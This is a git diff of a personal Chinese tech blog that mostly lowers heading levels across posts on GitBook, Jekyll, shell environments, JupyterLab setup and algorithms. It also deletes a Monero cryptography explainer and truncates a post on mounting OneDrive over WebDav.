@@ -97,29 +97,29 @@
Aaron Swartz 跟John Gruber共同设计的排版语言
```
-## book.json?
+### book.json?
`book.json` 最重要,故单独作为一节。
-### title:设置书本的标题?
+#### title:设置书本的标题?
```
"title" : "Gitbook Use"
```
-### author:作者的相关信息?
+#### author:作者的相关信息?
```
"author" : "ds"
```
-### description:本书的简单描述?
+#### description:本书的简单描述?
```
"description" : "记录Gitbook的配置和一些插件的使用"
```
-### language:Gitbook使用的语言?
+#### language:Gitbook使用的语言?
版本2.6.4中可选的语言如下:
@@ -133,20 +133,20 @@ en, ar, bn, cs, de, en, es, fa, fi, fr, he, it, ja, ko, no, pl, pt, ro, ru, sv,
"language" : "zh-hans",
```
-### gitbook: 指定使用的gitbook版本?
+#### gitbook: 指定使用的gitbook版本?
```
"gitbook" : "3.2.2",
"gitbook" : ">=3.0.0"
```
-### root:指定根目录?
+#### root:指定根目录?
```
"root": "."
```
-### links:左侧导航栏添加链接信息?
+#### links:左侧导航栏添加链接信息?
```
"links" : {
@@ -156,7 +156,7 @@ en, ar, bn, cs, de, en, es, fa, fi, fr, he, it, ja, ko, no, pl, pt, ro, ru, sv,
}
```
-### styles:自定义页面样式?
+#### styles:自定义页面样式?
默认情况下各`generator`对应的`css`文件:
@@ -178,7 +178,7 @@ h1 , h2{
}
```
-### plugins:配置使用的插件?
+#### plugins:配置使用的插件?
```
"plugins": [
@@ -192,7 +192,7 @@ h1 , h2{
]
```
-### pluginsConfig:配置插件的属性?
+#### pluginsConfig:配置插件的属性?
```
"pluginsConfig": {
@@ -206,7 +206,7 @@ h1 , h2{
上面就是配置Gitbook界面那个`A`按钮的默认属性。
-### structure?
+#### structure?
指定 Readme、Summary、Glossary 和 Languages 对应的文件名,下面是这几个文件对应变量以及默认值:
@@ -217,17 +217,17 @@ h1 , h2{
|`structure.glossary`|`Glossary file name (defaults to GLOSSARY.md)`
|`structure.languages`|`Languages file name (defaults to LANGS.md)`
-## GitBook插件?
+### GitBook插件?
可以指定插件的版本可以使用 `plugin@0.3.1` , 下面的插件在 GitBook 的 `3.2.3` 版本中可以正常工作,[插件官网](https://plugins.gitbook.com/)。
具体介绍看这里:[https://github.com/zhangjikai/gitbook-use/blob/master/plugins.md](https://github.com/zhangjikai/gitbook-use/blob/master/plugins.md)
-## 主题?
+### 主题?
我们常用的就是 Book 文档模式,所以只看这部分。
-### theme-default?
+#### theme-default?
默认的 Book 主题。将 `showLevel` 设为 `true`, 就可以显示标题前面的数字索引,默认不显示。
@@ -239,7 +239,7 @@ h1 , h2{
}
```
-### theme-comscore?
+#### theme-comscore?
这个主题为标题添加了颜色
@@ -251,4 +251,4 @@ h1 , h2{
}
```
-## book.json配置文件?
+### book.json配置文件?
diff --git a/blog/ds19991999/原创-- 专题-排序算法.md b/blog/ds19991999/原创-- 专题-排序算法.md
index 91475b7..d763644 100644
--- a/blog/ds19991999/原创-- 专题-排序算法.md
+++ b/blog/ds19991999/原创-- 专题-排序算法.md
@@ -3,11 +3,11 @@
# 专题:排序算法
-# 专题:排序算法
+## 专题:排序算法
-### 文章目录
+#### 文章目录
-## 1、排序分类
+### 1、排序分类
|算法|平均|最好|最坏|空间|稳定性
|------
@@ -24,38 +24,38 @@
外部排序较为复杂,后续更新。。。
-## 2、常识总结
+### 2、常识总结
>
-助记:**快些**以
-
+
助记:**快些**以
- n
-
- l
-
-
- o
-
-
-
- g
-
-
- 2
+ n
+ l
+
- n
+ o
+
+
+
+ g
+
+
+ 2
+
+
+
+ n
+
+ nlog_2n
+
- nlog_2n
-
-
nlog2n的速度**归队**
diff --git a/blog/ds19991999/原创-- 为Jekyll博客添加小功能.md b/blog/ds19991999/原创-- 为Jekyll博客添加小功能.md
index efe50d8..377099f 100644
--- a/blog/ds19991999/原创-- 为Jekyll博客添加小功能.md
+++ b/blog/ds19991999/原创-- 为Jekyll博客添加小功能.md
@@ -3,15 +3,15 @@
# 为Jekyll博客添加小功能
-# 为博客添加各种功能
+## 为博客添加各种功能
-## 1.关于Jekyll本身插件的安装
+### 1.关于Jekyll本身插件的安装
一共三种方式:
* 在根目录下新建`_plugins`文件夹, 然后把对应的`*.rb`插件文件放进去就行了;
* 在`_config.yml`文件中增加一个`gems`关键字, 然后把要引用的插件用数组形式存储其中即可;
* 在Gemfile中添加相关的插件;
三种方法都可以, 甚至完全可以同时使用~
-## 2.用kramdown自动生成目录树
+### 2.用kramdown自动生成目录树
```
* 目录
@@ -20,7 +20,7 @@
第一行必须加!
-## 3.添加标签归档页
+### 3.添加标签归档页
```
---
@@ -49,7 +49,7 @@ permalink: /tags/
</ul>
```
-## 4.添加日期归档页
+### 4.添加日期归档页
```
---
@@ -75,7 +75,7 @@ title: "归档"
</ul>
```
-## 5.添加网易云音乐插件
+### 5.添加网易云音乐插件
```
<!-- cloud music -->
@@ -93,7 +93,7 @@ title: "归档"
{{ content }}
```
-## 6.添加站点访客数及文章浏览量
+### 6.添加站点访客数及文章浏览量
```
<script async src="//dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js">
@@ -121,11 +121,11 @@ title: "归档"
</span>
```
-## 7.添加中英文字数统计
+### 7.添加中英文字数统计
英文字数统计
中文字数统计
-## 8.添加评论
+### 8.添加评论
使用[intensedebate](https://intensedebate.com/),注册账号什么得不说了,将得到的html文件,即`intensedebate-comments.html`保存到`include`目录下,在`post.html`正文结束处添加:
@@ -135,7 +135,7 @@ title: "归档"
{% endif %}
```
-## 9.添加动态网站运行时间
+### 9.添加动态网站运行时间
```
<!-- 计算网站运行时间 -->
diff --git a/blog/ds19991999/原创-- 了解Shell环境.md b/blog/ds19991999/原创-- 了解Shell环境.md
index b9ca3ac..c59ddcc 100644
--- a/blog/ds19991999/原创-- 了解Shell环境.md
+++ b/blog/ds19991999/原创-- 了解Shell环境.md
@@ -3,7 +3,7 @@
# 了解Shell环境
-## shell 环境
+### shell 环境
大多数程序用配置文件来存储程序设置, 一些程序会根据环境变量来调整他们的行为。shell 在环境中存储了两种基本类型的数据:Shell 变量是 bash 存放的少量数据,剩下的都是 环境变量。另外还有别名和 shell 函数。
@@ -15,7 +15,7 @@ alias - 创建命令别名
```
-### 检查环境变量
+#### 检查环境变量
```
# printenv 命令也能够列出特定变量的数值
@@ -58,7 +58,7 @@ alias ls='ls --color=auto'
TZ |指定你所在的时区。大多数类 Unix 的系统按照协调时间时 (UTC) 来维护计算机内部的时钟 ,然后应用一个由这个变量指定的偏差来显示本地时间。
USER |你的用户名
-### 建立shell 环境
+#### 建立shell 环境
登录 shell 会读取一个或多个启动文件----虚拟控制台会话:
@@ -113,7 +113,7 @@ This is some text.
`export PATH`:这个 export 命令告诉 shell 让这个 shell 的子进程可以使用 PATH 变量的内容。
-### 修改 shell 环境
+#### 修改 shell 环境
添加目录到你的 PATH 变量或者是定义额外的环境变量,要把这些更改放置到 .bash_profile 文件中(或者其替代文件中,根据不同的发行版。例如,Ubuntu 使用 .profile 文件)。
@@ -135,7 +135,7 @@ source .bashrc
```
-## 自定义Shell提示符
+### 自定义Shell提示符
提示符是由一个环境变量定义的,叫做 PS1(是“prompt string one” 的简写)
diff --git a/blog/ds19991999/原创-- 了解门罗币.md b/blog/ds19991999/原创-- 了解门罗币.md
deleted file mode 100644
index 215ec68..0000000
--- a/blog/ds19991999/原创-- 了解门罗币.md
+++ /dev/null
@@ -1,176 +0,0 @@
-# 原创
-: 了解门罗币
-
-# 了解门罗币
-
->
-参考:
1.[《区块链教程》](https://liuchengxu.gitbooks.io/blockchain-tutorial/content/)
2. [what is monero](https://blockgeeks.com/guides/what-is-monero/)
-
-
-根据 [Monero(门罗) 官网](https://getmonero.org/): Monero 是一个安全,隐私和不可追踪的加密货币。通过使用密码学中一种特殊的方法,门罗确保了所有交易保持 100% 的不可关联和不可追溯性(unlinkable and untraceable)。
-
-尽管 bytecoin 十分有前景,但是人们也注意到发生了很多负面的事情,并且鉴于它已经产出了 80% 的币。所以,决定将 bytocin 分叉,新链上的币叫做 Bitmonero,最终被重新命名为 Monero(门罗),在世界语(Esperanto)中叫做“coin”,硬币的意思。门罗的出块时间为两分钟。
-
-门罗由一个 7 人的开发者团队领导,其中 5 人匿名,另 2 人已公开。他们是 David Latapie 和 Riccardo Spagni aka “Fluffypony”。项目是开源众筹的形式进行。
-
-## 门罗的特别之处
-
-门罗采用CrytoNote算法,使得它具有以下几个特性。
-
-加密货币中理想的可替代性是什么?
-
->
-以 [bitcoin](https://blockgeeks.com/guides/what-is-bitcoin-a-step-by-step-guide/) 为例,它引以为豪的一点就是比特币是开放的账本,但是,这也意味着每个人都可以看到里面的每一笔交易,更重要的是,每个人都可以看到交易的踪迹。简单来说,如果你拥有一个曾经用于某个非法交易的比特币,比如购买毒品,那么它的交易细节里面将会永远有这样的印记。实际上,这“污染(taint)”了你的比特币。
-在某些比特币服务提供商和交易所中,这些“被污染”的币与“干净的”币永远都不会被一视同仁。这就泯灭了可替换性(fungibility),这也是比特币经常为人所诟病的一点。毕竟,为什么别人做了错事,需要你来买单呢?
-
-
-于是门罗诞生了。由于所有数据和交易都是不公开的,没有人能够知道你的门罗币在之前经历了哪些交易,也无法知道你的门罗币会用来购买什么。
-
-## 加密货币交易的工作方式
-
-假设 Alice 需要给 Bob 发送一些比特币,交易看起来是怎样的?
-
-### 交易输入
-
-每个币都来源于之前的交易。所以,Alice 可以将之前交易的输出作为新交易的输入。Alice 需要从下列交易从获得输入,比如 TX(0), TX(1) 和 TX(2)。这三笔交易会被一起包含到这笔交易,并有一个交易输出 TX(Input)。
-
-### 交易输出
-
-输出就是 Bob 可以在之后交易花费的钱,也可能会出现找零,找零会返回给 Alice。找零会成为 Alice 未来任意交易的输入。
-
-有了公钥加密以后,比特币交易才成为可能。为了对它有一个基本的理解,请看下图:
-
-比特币用户首先选择私钥,公钥由私钥衍生而来。将公钥进行哈希得到一个公开的地址公布出去。如果 Alice 要给 Bob 发送 BTC,Alice 直接给 Bob 公开的地址发送即可。
-
-门罗团队给出的“电子现金三角(Electronic cash triangle)”
-
-正如他们所说,一个理想的电子现金应该满足三个前提:**电子的、去中心化的、隐私的**
-
-门罗背后的哲学就是完全隐私和不透明性。发送方隐私由环签名(Ring Signature)实现。
-
-## 门罗密码学
-
-### Ring Signatures
-
-环签名,简单来说就是交易过程中把几个人签名混合在一起,然后得到一个独一无二的签名,这样就没人知道这个签名是否是你本人的。
-
-假设,Alice 发送 1000 XMR(XMR 即门罗币) 给 Bob,系统会如何使用环签名来隐藏她的身份?
-
-首先,Alice 会确认她的“ring size(环大小)”。ring size 是取自区块链的随机输出,它等于 Alice 的输出值,即 1000 XMR。ring size 越大,交易越大,继而交易费越高。然后,她用 private spend key 对输出进行签名,并发给到区块链。另一点要注意的是,Alice 不需要向之前交易的所有者发送请求来使用这些输出。
-
-假设 Alice 选择的 ring size 为 5 ,也就是说 4 个 decoy output(诱骗输出) 和它自己的交易,从外面看起来就像这样:
-
-在一个环签名交易中,任意一个 decoy 就像真实输出一样,因为任何不相关的第三方(包括矿工)都无法知道发送方是谁。
-
-**防止双花:**
-
-矿工要做的一个重要的事情就是防止“双花”。双花就是指在同一时间,同一笔钱出现在两笔,甚至更多的交易中。双花被矿工所解决。在一个区块链中,只有当矿工将交易包含在区块并出块,交易才算完成。假设 A 打算给 B 发送一个比特币,然后它发送同样一个币给 C,矿工会把其中一笔交易放到块里,并在处理过程中覆盖另一笔交易,防止双花。但是在门罗中,由于环签名这些都是不可见的。那么要如何防止双花呢?
-
-门罗的每一笔交易都有它自己的唯一的**密钥镜像(key image)**,鉴于密钥镜像对于每个交易都是不同的,矿工就可以非常容易地检测,判断是否双花。
-
-### stealth address
-
-门罗的最大一个卖点就是交易的不可关联性(unlinkability)。基本上,如果有人发送给你 200 XMR,应该没有人知道这笔钱是发送给你的。如果 Alice 要给 Bob 发送门罗币,除了 Alice,应该没人任何人知道 Bob 就是这笔钱的接收者。
-
-**门罗要如何保证 Bob 的隐私?**
-
-Bob 有两个 public key:public view key 和 public send key。为了推进交易,Alice 的钱包会用 Bob 的 public view key 和 public send key 来生成一次性独一无二的 public key。
-
-**one-time public key (P) 的计算方式:**
-P=H(rA)G+B
-
-
-
- P
-
-
- =
-
-
- H
-
-
- (
-
-
- r
-
-
- A
-
-
- )
-
-
- G
-
-
- +
-
-
- B
-
-
-
-其中:
-
-由这种方法生成一次性公钥,然后再生成在区块链里一次性的公开地址,这样的地址就叫做“stealth address”,Alice 就通过它给 Bob 发送门罗币。现在,Bob 要如何从数据的随机分布中解锁收到的门罗币呢?
-
-Bob 也有一个 private spend key。private spend key 就是用来帮助 Bob 扫描区块链找到他的相关交易。当 Bob 找到这笔交易,他可以通过一个 private key 取回他的门罗币,这个 private key 与一次性的 public key 相关。因此 Alice 付给 Bob 门罗币,无人知晓。
-
-**key image**
-
-计算方式:
-I=xH(P)
-
-
-
- I
-
-
- =
-
-
- x
-
-
- H
-
-
- (
-
-
- P
-
-
- )
-
-
-
-从 key image “I” 计算出一次性的 public address P 十分困难(这是密码学哈希函数的一个属性,正着算很容易,反推很难),因此 Alice 的身份永远也不会暴露。
-
-当 P 被哈希的时候,永远都会返回同一个值,意味着 H(P) 也总是同一个值。既然 x 的值对于 Alice 来说是个常数,她也就是永远也无法生成多个 I 值。这使得 key image 对于每一笔交易都是不同的。
-
-### Ring Confidential Transactions
-
-基于 Gergory Maxwell 的研究实现了 Ring CT,Ring CT保证了交易本身的匿名性,它在链上隐藏了交易的数额。这也意味着所有的交易输入都不需要再被拆分为已知的面额,钱包现在可以从任意的 Ring CT 输出中选择 ring 成员。
-
-环形加密技术的基础仍旧是与比特币一样的基于Hash值的公钥+私钥加解机制。只是比特币是用接受者的公钥加密,接受者用与之配对的私钥解密验证。而环形加密则使用了多个公钥进行加密,并用接受者的私钥进行解密验证。
-
-#### Kovri and I2P
-
-I2P 是一个路由系统,它能够让应用秘密地互相发送信息而无须任何外部干涉。Kovri 是 I2P 的 C++ 实现,它也会被集成到门罗里面。**Kovri 将会隐藏你的网络流量**,如此一来,被动的网络监控就根本不会暴露你正在使用门罗。为此,你的所有门罗流量将会被加密并通过 I2P 节点路由。节点就像瞎的看门人,它们会知道你的信息通过,但是**不知道这些去向哪儿以及信息的具体内容**。
-
-### 门罗价值和市值
-
-目前,XMR流通市值$1,522,148,966,流通量16,335,709 XMR每个XMR¥637,占全球总市场0.7%,排名10。门罗总量为 1840 万,挖矿奖励会持续到 2022 年 5 月 31。之后,系统设定为 0.3 XMR/min 的奖励。这是为了矿工能过持续的激励挖矿,而不仅仅依赖于交易费,毕竟门罗已经被挖完了。
-
-### 门罗的优势与劣势
-
-### 优势
-
-### 劣势
-
-**毫无疑问,未来会更加开放和去中心化,门罗也会因其隐私性而越具吸引力。特别有趣之处在于,它是少数几个不是基于比特币的币,却是同时有着真正价值的“潜力股”。对门罗来说,随着它已经经历了惊人的增长,未来依旧光明一片。当实现 Kovri 以后,相信一切会变得更加有趣.**
-
-相关链接:[cryptonote系统](https://github.com/cryptonotefoundation/cryptonote) 、[monero](https://getmonero.org/)、[了解门罗币](https://www.ds-vip.top/%E5%8C%BA%E5%9D%97%E9%93%BE/2018/08/21/start-monero/)
diff --git a/blog/ds19991999/原创-- 云服务器搭建神器JupyterLab(多图).md b/blog/ds19991999/原创-- 云服务器搭建神器JupyterLab(多图).md
index 4a33c0f..e545c76 100644
--- a/blog/ds19991999/原创-- 云服务器搭建神器JupyterLab(多图).md
+++ b/blog/ds19991999/原创-- 云服务器搭建神器JupyterLab(多图).md
@@ -3,13 +3,13 @@
# 云服务器搭建神器JupyterLab(多图)
-# 云服务器搭建神器JupyterLab(多图)
+## 云服务器搭建神器JupyterLab(多图)
>
[`JupyterLab`](https://github.com/jupyterlab/jupyterlab)是一个交互式的开发环境,其用于应对包含着`notebook`、代码以及数据的工作场景。
-## 1、前言
+### 1、前言
**如果说`vim`是编辑器之神,那么`JupyterLab`就是笔记本之神。**
@@ -17,11 +17,11 @@
好的工具当然是要好好利用了,回归正题,怎样通过云服务器搭建一个可远程使用的`JupyterLab`?
-## 2、购买云服务器`ECS`
+### 2、购买云服务器`ECS`
这里我就直接买了阿里的学生优惠的`ECS`,9.9元/月,价格算是良心了,这里可以领一下优惠券:[阿里云限时礼包](https://promotion.aliyun.com/ntms/yunparter/invite.html?userCode=vya2etaw)。亚马逊还有每个账户免费使用一年云服务器的机会,也可以用一用。购买之后创建实例,启动云服务器,我这里用的是`Ubuntu 16.04`镜像,记住你设置的`root`密码。如果没有特殊要求,可以直接使用`root`用户进行下面操作,不必新建用户。
-## 3、登录ECS并安装必要软件
+### 3、登录ECS并安装必要软件
```
sudo apt-get install ssh
@@ -31,7 +31,7 @@ ssh root@公网ip
这个ip是公网ip,在你购买的服务器运营商的实例列表里,如果不出意外就可以登录ECS了。
-### 3.1 先做好准备工作
+#### 3.1 先做好准备工作
比喻你添加ppa源的时候出现这种情况
@@ -48,9 +48,9 @@ sudo apt-get install software-properties-common
```
-### 3.2 关于`pip`的问题
+#### 3.2 关于`pip`的问题
-#### 安装pip
+##### 安装pip
```
sudo apt-get install python-pip python-dev build-essential
@@ -84,7 +84,7 @@ sudo apt-get install python-pip
```
-#### 升级`pip`
+##### 升级`pip`
```
sudo pip3 install --upgrade pip
@@ -93,7 +93,7 @@ sudo pip install --upgrade pip
```
-#### 更换`pip`源加速下载
+##### 更换`pip`源加速下载
```
cat > ~/.pip/pip.conf
@@ -106,7 +106,7 @@ index-url = https://pypi.tuna.tsinghua.edu.cn/simple
`pip`国内的一些镜像包,换源之后出现`python2`版本过低的情况导致以前的包下载不了,那就直接将文件夹`~/.pip/pip.conf`删除就可以恢复原来的源。
-#### `pip`指向问题
+##### `pip`指向问题
有时候会出现`pip,pip2,pip3`都TM指向`python2`,这个之后就需要改一下这这三个文件。
@@ -124,9 +124,9 @@ index-url = https://pypi.tuna.tsinghua.edu.cn/simple
```
-### 3.3 安装`yarn`和`nodejs`
+#### 3.3 安装`yarn`和`nodejs`
-#### 配置仓库
+##### 配置仓库
```
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
@@ -134,7 +134,7 @@ echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/source
```
-#### 安装`yarn`
+##### 安装`yarn`
```
sudo apt-get update
@@ -144,7 +144,7 @@ sudo apt-get install yarn
注意这里`yarn`自动安装了`nodejs`,不过版本太低,安装`jupyterlab`的时候会出问题,而且使用`n`或者`nvm`安装的`nodejs`也有问题,总之`nodejs`要按照下面这种方式就没事,这个是官方的`bug`,官方`issue`也提到过,但是目前还未解决。
-#### 安装`nodejs`
+##### 安装`nodejs`
创建一个新文件,输入两行`deb`,结束之后`Ctrl+C`:
@@ -166,11 +166,11 @@ nodejs --version
```
-#### 安装`ipython,matplotlib,scipy,pandas,numpy`
+##### 安装`ipython,matplotlib,scipy,pandas,numpy`
最好`python2`和`python3`都安装。
-## 4、安装`JupyterLab`及其配置
+### 4、安装`JupyterLab`及其配置
记住使用`pip2`安装,如果你用`pip3`安装的话可能会出现版本兼容问题。
@@ -186,7 +186,7 @@ jupyter-notebook password
```
-### 4.1 创建哈希密码
+#### 4.1 创建哈希密码
```
ipython
@@ -198,7 +198,7 @@ passwd()
```
-### 4.2 修改`JupyterLab`配置文件
+#### 4.2 修改`JupyterLab`配置文件
先生成一个配置文件,记下输出的配置文件地址
@@ -242,11 +242,11 @@ jupyter lab build
`jupyter lab build`时间有点久,如果没报错就成功了。但此时你还不能访问`JupyterLab`,还需要添加端口规则,也就是所谓的添加安全组。
-## 5、添加安全组
+### 5、添加安全组
去ECS控制台添加安全组,不然你无法通过本地浏览器访问`JupyterLab`,设置`8080`端口入方向。
-## 远程访问`JupyterLab`
+### 远程访问`JupyterLab`
运行下面命令。
@@ -259,7 +259,7 @@ nohup jupyter lab &
浏览器输入`公网ip:8080`,就可以访问你的`JupyterLab`了,第一次访问比较慢,耐心一点,如果最终还是无法访问,那么就是你的安全组配置错啦。
输入密码就可以用了。
-## 6、`JupyterLab`扩展安装
+### 6、`JupyterLab`扩展安装
查看已经安装的扩展及其状态:
@@ -291,7 +291,7 @@ jupyter labextension update --all
下面以安装[GitHub](https://github.com/jupyterlab/jupyterlab-github)扩展为例。
-### 安装`GitHub`扩展
+#### 安装`GitHub`扩展
先去`GitHub`生成一个`token`,记下`token`,待会儿配置要用。
@@ -312,7 +312,7 @@ c.GitHubConfig.access_token = '< YOUR_ACCESS_TOKEN >'
需要其他扩展的在[GitHub](https://github.com/)可以自行下载。
-## 7、内核安装与卸载
+### 7、内核安装与卸载
安装Python内核
@@ -339,13 +339,13 @@ jupyter kernelspec remove <kernel_name>
```
-## 8、域名和`https`配置
+### 8、域名和`https`配置
域名和SSL配置可以参考这两篇文章:
其实为觉得没必要,毕竟是个人用的工具,没必要搞个域名,不过强迫症就另说了。具体效果是这样的:
-## 9、结语
+### 9、结语
`JupyterLab`的搭建就是这么简单,好的工具就应该好好利用,支持做图,`markdown`,多标签,内部打开网页,`latex`,网页预览,这么好的工具我应该早点发现呀。最后,以秀图结束本文,多多指教!
diff --git a/blog/ds19991999/原创-- 以WebDav方式挂载OneDrive.md b/blog/ds19991999/原创-- 以WebDav方式挂载OneDrive.md
index cf3215e..3a65340 100644
--- a/blog/ds19991999/原创-- 以WebDav方式挂载OneDrive.md
+++ b/blog/ds19991999/原创-- 以WebDav方式挂载OneDrive.md
@@ -5,68 +5,8 @@
玩`OneDrive`的时候,有时候会遇到没有`API`权限的帐号,这个时候我们就不能使用`rclone`挂载`OneDrive`,其他第三方也不行,这就有点难受了。
不过,我们还有另一种方式挂载,也就是以`WebDav`的方式挂载。
-### 文章目录
+#### 文章目录
-## 1、get cookie
+### 1、get cookie
-网页登陆你的`OneDrive`。
我们要拿到的就是如图所示的`FedAuth`和`rtFa`两个`cookie`的`Value`值,比较长的一串。**注意`Cookie`下的那几个网址选带有`sharepoint.com`的那个。**
-
-拿到这两个值就可以进行下面的操作了。
-
-## 2、install and config
-
-### step1:
-
-```
-apt-get install davfs2
-
-```
-
-### step2:
-
-IF Mount PATH: `/root/WebDav`
-
-```
-vi /etc/davfs2/davfs2.conf
-
-add:
-[/root/WebDav/] # Mount PATH
-ask_auth 0
-add_header Cookie rtFa=XXXXXX;FedAuth=YYYYYY #Value
-
-```
-
-### revise url:
-
-```
-https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/_layouts/15/onedrive.aspx
-
-to
-
-https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/Documents
-
-```
-
-## 3、mount
-
-```
-mount.davfs -o rw "https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/Documents" /root/WebDav
-
-```
-
-## 4、check
-
-```
-df -h
-
-```
-
-like this:
-
-```
-https://xxxxxxxcn-my.sharepoint.com/personal/rootmaster_xxxx_xxx_cn/Documents 1.3T 763G 509G 61% /root/WebDav
-......
-
-```
-
-**Enjoy it!**
+网页登陆你的`OneDrive`。
我们要拿到的就是如图所示的`FedAuth`和`rt`
diff --git a/blog/ds19991999/原创-- 八皇后问题.md b/blog/ds19991999/原创-- 八皇后问题.md
index f62e9bd..d8680f3 100644
--- a/blog/ds19991999/原创-- 八皇后问题.md
+++ b/blog/ds19991999/原创-- 八皇后问题.md
@@ -3,7 +3,7 @@
# 八皇后问题
-# 八皇后问题
+## 八皇后问题
>
参考:维基百科[八皇后问题](https://zh.wikipedia.org/wiki/%E5%85%AB%E7%9A%87%E5%90%8E%E9%97%AE%E9%A2%98)
@@ -11,11 +11,11 @@
**八皇后问题**是一个以国际象棋为背景的问题:如何能够在8×8的国际象棋棋盘上放置八个皇后,使得任何一个皇后都无法直接吃掉其他的皇后?为了达到此目的,任两个皇后都不能处于同一条**横行、纵行或斜线**上。八皇后问题可以推广为更一般的**n皇后摆放问题**:这时棋盘的大小变为**n**×**n**,而皇后个数也变成**n**。**当且仅当**n** = 1或**n** ≥ 4时问题有解。**维基百科给出了很详细的解答。
-## 状态表示
+### 状态表示
用元祖或列表表示一个解决方案,state[0]==3表示第一行的皇后在第四列上。当递归到某一层面,只知道上一行的皇后状态,因此需要一个长度小于8的状态元组
-## 条件限定
+### 条件限定
```
def conflict(state,nextX):
@@ -27,7 +27,7 @@ def conflict(state,nextX):
```
-## 基本情况
+### 基本情况
```
# 如果只有最后一个皇后没有放置,那么遍历它所有可能的位置,返回没有冲突的位置
@@ -44,7 +44,7 @@ def queens(num=8,state=()):
```
-## 打包
+### 打包
```
def prettyprint(solution):
diff --git a/blog/ds19991999/原创-- 利用GitHub_Pages搭建简易个人博客.md b/blog/ds19991999/原创-- 利用GitHub_Pages搭建简易个人博客.md
index c215c84..55c959c 100644
--- a/blog/ds19991999/原创-- 利用GitHub_Pages搭建简易个人博客.md
+++ b/blog/ds19991999/原创-- 利用GitHub_Pages搭建简易个人博客.md
@@ -5,7 +5,7 @@
个人博客已经开通:[https://ds19991999.github.io](https://ds19991999.github.io),欢迎访问
-# 1.基本实现
+## 1.基本实现
1. 在github上建库,库名必须是usrname.github.com,usr必须是你github账号的用户名;1. 在Jekyll上面选择喜欢的模板下载到本地(以Bef为例);1. Git操作,建议使用客户端Git命令行操作
```
//1.打开git bash,配置用户名和邮件
@@ -40,13 +40,13 @@ git push origin 要提交的分支名称(一般是master) //将本地仓库推
4.访问自己的博客主页
[https://usrname.github.io](https://usrname.github.io),比喻我的:[https://ds19991999.github.io](https://ds19991999.github.io)
-# 2.关于GitHub Pages
+## 2.关于GitHub Pages
GitHub Pages 是 GitHub 面向用户、组织和项目开放的公共静态页面搭建托管服
务,允许站内生成网页,也允许用户自己编写网页,然后上传。站点可以被免
费托管在 GitHub 上,可以选择使用 GitHub Pages 默认提供的域名 github.io
或者自定义域名来发布站点。GitHub Pages 支持自动利用 Jekyll 生成站点,
GitHub Pages 可以被认为是用户编写的、托管在 GitHub 上的静态网页。
搭建中小型 Blog,特别是个人博客,确实是个很好的选择。既拥有绝对管理权,
又享受 GitHub 带来的便利,更主要的是,这一切是免费的,GitHub 提供无限流量.
-# 3.关于Jekyll的结构
+## 3.关于Jekyll的结构
```
|-- _config.yml
@@ -61,47 +61,47 @@ GitHub Pages 是 GitHub 面向用户、组织和项目开放的公共静态页
`-- index.html
```
-## _config.yml
+### _config.yml
配置文件,用来定义你想要的效果,设置之后就不用关心了。
-## _includes
+### _includes
-## _layouts
+### _layouts
模板文件存放的位置。模板需要通过[YAML front matter](https://github.com/jekyll/jekyll/wiki/YAML-Front-Matter)来定义
来定义,{ { content }}标记用来将数据插入到这些模板中来。
发布的文章会根据文章顶部的 yaml 文件头来设置一些元数据,如 layout:default,表示该文章的模板使用 _layouts 目录下的 post.html 文件;title:,表示该文章的标题,如果不设置这个值,默认使用嵌入文件名的标题等等。
-## _posts
+### _posts
你的动态内容,一般来说就是你的博客正文存放的文件夹。他的命名有严格的规定,必须是**2012-02-22-artical-title.MARKUP**这样的形式,
MARKUP是你所使用标记语言的文件后缀名,根据_config.yml中设定的链接规则,可以根据你的文件名灵活调整,文章的日期和标记语言后缀与文章的标题是独立的。
在博客上发布文章的时候,只需要在此文件夹中加入带有 YAML 头信息的 MarkDown 文件,然后 push 到 GitHub,就会被自动渲染成 HTML。
-## _site
+### _site
这个是Jekyll生成的最终的文档,不用去关心。最好把他放在你的.gitignore文件中忽略它。
-## 其他文件夹
+### 其他文件夹
你可以创建任何的文件夹,在根目录下面也可以创建任何文件,假设你创建了project文件夹,下面有一个github-pages.md的文件,那么你就可以通过yoursite.com/project/github-pages访问的到,如果你是使用一级域名的话。
-# 4.Jekyll的配置
+## 4.Jekyll的配置
配置文件在_config.yml文件中,不必一一追究了,需要的可以参考官方文档[关于Jekyll配置的官方文档](https://github.com/jekyll/jekyll/wiki),但Permalink和自定义项这两个很重要。
-## `Permalink`
+### `Permalink`
用来定义你最终的文章链接是什么形式,他有下面几个变量:
- year 文件名中的年份
- month 文件名中的月份
- day 文件名中的日期
- title 文件名中的文章标题
- categories 文章的分类,如果文章没有分类,会忽略
- i-month 文件名中的除去前缀0的月份
- i-day 文件名中的除去前缀0的日期
配置效果
- `permalink: pretty` /2018/06/15/slap-chop/index.html
- `permalink: /:month-:day-:year/:title.html` /06-15-2018/slap-chop.html
- `permalink: /blog/:year/:month/:day/:title` /blog/2018/06/15/slap-chop/index.html
- `permalink: /:title` /github-pages
-## 自定义项
+### 自定义项
例如我们定义了`title:BeiYuu的博客`这样一项,那么你就可以在文章中使用{ { site.title }}来引用这个变量了,非常方便定义些全局变量。
-# 5.YAML Front Matter和模板变量
+## 5.YAML Front Matter和模板变量
对于YAML格式的文章,Jekyll的格式很严格,必须是这样的:
@@ -114,11 +114,11 @@ title: Blogging Like a Hacker
前后的—不能省略,在这之间,你可以定一些你需要的变量,layout就是调用_layouts下面的某一个模板,他还有一些其他的变量可以使用:
- permalink 你可以对某一篇文章使用通用设置之外的永久链接
- published 可以单独设置某一篇文章是否需要发布
- category 设置文章的分类
- tags 设置文章的tag
-# 6.使用Disqus管理评论
+## 6.使用Disqus管理评论
注意是管理评论,Disqus支持很多的博客平台,注册账号什么的就不提了,参见下图:
-## Unversal Code
+### Unversal Code
这里使用网友推荐的`Universal Code`,然后会看到一个介绍页面,把下面这段代码复制到你的模板里面,可以只复制到显示文章的模板中:
@@ -138,7 +138,7 @@ title: Blogging Like a Hacker
<a href="http://disqus.com" class="dsq-brlink">blog comments powered by <span class="logo-disqus">Disqus</span></a>
```
-## 异步加载处理
+### 异步加载处理
为提高性能,需要进行异步加载处理,提高性能。比如在最开始页面打开的时候不显示评论,当你想看评论的时候,点击“显示评论”再加载Disqus的模块。
